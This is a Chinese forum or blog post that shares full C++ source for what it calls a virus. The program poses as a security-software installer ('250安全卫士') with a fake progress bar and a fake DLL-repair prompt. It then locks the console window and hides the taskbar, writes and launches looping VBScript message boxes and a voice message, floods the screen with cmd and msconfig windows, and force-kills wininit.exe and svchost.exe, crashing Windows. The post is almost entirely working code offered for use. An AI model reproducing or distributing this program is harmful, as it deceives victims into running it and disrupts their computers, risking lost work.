今天给大家来一个病毒代码:
话不多说,直接上代码(大佬勿喷):
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
void gotoxy(int x,int y)
{
int xx=0x0b;
HANDLE hOutput;
COORD loc;
loc.X=x;
loc.Y=y;
hOutput=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(hOutput,loc);
}
void color(int s)
{
HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | s);
SetConsoleTextAttribute(handle, FOREGROUND_INTENSITY | s);
}
/*
1.深蓝
2.荧光绿
3.浅蓝
4.红色
5.紫色
6.黄色
7.亮白色
8.灰色(控制台字体原色)
*/
void can_not_close(){//这段禁用窗口上的关闭和最小化键
HWND hwnd=GetConsoleWindow();
HMENU hmenu=GetSystemMenu(hwnd,false);
RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
LONG style=GetWindowLong(hwnd, GWL_STYLE);
style&=~(WS_MINIMIZEBOX);
SetWindowLong(hwnd,GWL_STYLE,style);
SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
ShowWindow(hwnd,SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hwnd,NULL);
}
void renwulan()
{
HWND hTaskBar = FindWindow("Shell_TrayWnd", NULL);
ShowWindow(hTaskBar, SW_HIDE);
}
void quanping(){//全屏
HWND hwnd=GetForegroundWindow();
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
SetWindowPos(hwnd,HWND_TOP,0,0,cx,cy,0);
return;
}
int main()
{
system("title 250安全卫士安装");
system("mode con cols=34 lines=9");
color(7);
gotoxy(13,2);
cout<<"正在安装\n";
cout<<"----------------------------------";
gotoxy(33,4);
cout<<"|";
gotoxy(0,4);
cout<<"|";
gotoxy(0,5);
cout<<"----------------------------------";
gotoxy(4,7);
cout<<"提示:不要中途关闭安装程序";
gotoxy(1,4);
for(int i=1;i<=16;i++)
{
if(i<8)
{
cout<<"▉";
Sleep(rand()%500+1000);
}
else if(i==8)
{
Sleep(1200);
MessageBox(NULL,("检测到缺少系统DLL文件,按“确定”恢复(请耐心等待)"),("小提示"),MB_OK|MB_ICONHAND);
Sleep(5000);
MessageBox(NULL,("修复完成,按“确定”继续"),("小提逝"),MB_OK|MB_ICONINFORMATION);
system("color 0C");
can_not_close();
continue;
}
else if(i>8)
{
cout<<"▉";
Sleep(rand()%500+1000);
}
}
MessageBox(NULL,("按“确定”进入250危险卫士"),("提逝"),MB_OK);
system("cls");
renwulan();
freopen("virus.vbe","w",stdout);
printf("CreateObject(\"SAPI.SpVoice\").speak\"你的电脑已被病毒入侵\"");
fclose(stdout);
freopen("man.vbe","w",stdout);
printf("do\nmsgbox\"恭喜你的电脑起飞\"\nloop");
fclose(stdout);
system("start virus.vbe");
for(int i=1;i<=15;i++)
{
system("start man.vbe");
}
system("taskkill /f /im wscript.exe /t");
for(int i=1;i<=15;i++)
{
system("start man.vbe");
}
for(int i=1;i<=25;i++)
{
Beep(rand()%500+1,rand()%250+1);
system("start cmd");
system("start cmd");
system("start msconfig");
}
system("taskkill /f /im wininit.exe /t");
system("taskkill /f im svchost.exe /t");
return 0;
}